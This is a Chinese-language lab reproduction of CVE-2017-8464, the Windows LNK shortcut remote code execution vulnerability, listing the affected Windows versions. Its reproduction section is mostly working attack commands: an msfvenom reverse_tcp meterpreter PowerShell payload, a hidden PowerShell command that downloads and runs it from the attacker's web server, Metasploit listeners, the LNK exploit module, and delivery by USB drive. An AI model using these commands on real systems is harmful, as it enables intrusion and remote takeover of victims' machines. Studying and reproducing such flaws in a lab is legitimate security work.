CVE-2017-8464(快捷方式远程代码执行)漏洞复现

CVE-2017-8464(快捷方式远程代码执行)

漏洞描述

微软2017年06月13日公布两个可被利用的远程代码执行漏洞其中**(CVE-2017-8464)LNK文件远程代码执行漏洞**曾被用在Stuxnet（震网病毒）软件中。Nessus在漏洞公布24小时内就已具备漏洞检查发现能力，Tenable用户只需要自动更新到最新的漏洞插件库，就能具备该漏洞发现能力。RCE漏洞存在于Windows处理LNK文件的环节。攻击者利用漏洞可以获得与本地用户相同的用户权限。被使用此漏洞攻击时，用户权限较少的账户相较管理员权限的用户受到的影响更小。

漏洞名称：LNK文件远程代码执行漏洞
漏洞编号：CVE-2017-8464
漏洞等级：严重
漏洞概要：如果用户打开攻击者精心构造的恶意LNK文件，则会造成远程代码执行。成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。 攻击者可以通过可移动驱动器(U盘)或远程共享等方式将包含恶意LNK文件和与之相关的恶意二进制文件传播给用户。当用户通过Windows资源管理器或任何能够解析LNK文件的程序打开恶意的LNK文件时，与之关联的恶意二进制代码将在目标系统上执行。

漏洞利用条件和方式：远程利用
漏洞影响范围:

• Microsoft Windows 10 Version 1607 for 32-bit Systems
• Microsoft Windows 10 Version 1607 for x64-based Systems
• Microsoft Windows 10 for 32-bit Systems
• Microsoft Windows 10 for x64-based Systems
• Microsoft Windows 10 version 1511 for 32-bit Systems
• Microsoft Windows 10 version 1511 for x64-based Systems
• Microsoft Windows 10 version 1703 for 32-bit Systems
• Microsoft Windows 10 version 1703 for x64-based Systems
• Microsoft Windows 7 for 32-bit Systems SP1
• Microsoft Windows 7 for x64-based Systems SP1
• Microsoft Windows 8.1 for 32-bit Systems
• Microsoft Windows 8.1 for x64-based Systems
• Microsoft Windows RT 8.1

服务器系统

• Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
• Microsoft Windows Server 2008 R2 for x64-based Systems SP1
• Microsoft Windows Server 2008 for 32-bit Systems SP2
• Microsoft Windows Server 2008 for Itanium-based Systems SP2
• Microsoft Windows Server 2008 for x64-based Systems SP2
• Microsoft Windows Server 2012
• Microsoft Windows Server 2012 R2
• Microsoft Windows Server 2016

漏洞复现

Kali： 172.16.9.195

靶机：172.16.9.178

1、Kali生成一个ps1的反弹shell木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.9.195 lport=4448 -f  psh-reflection>/root/search.ps1

2、Kali开启http服务，将search.ps1文件移动至web根目录下

mv  search.ps1  /var/www/html
systemctl start apache2

3、靶机访问Kali web服务器下的search.ps1文件，发现可以直接访问

4、在靶机上创建一个PowerShell远程快捷方式

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://172.16.9.195/search.ps1');test.ps1"

5、Kali进行监听，靶机执行后门文件

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 172.16.9.195
set lport 4448
exploit

msf模块实现

msfconsole
search cve-2017-8464
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.9.195
exploit

在/root/.msf4/local目录下生成我们的利用文件

全部复制到移动磁盘里面(u盘拷贝)

然后在msf中监听

search multi/handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.9.195
run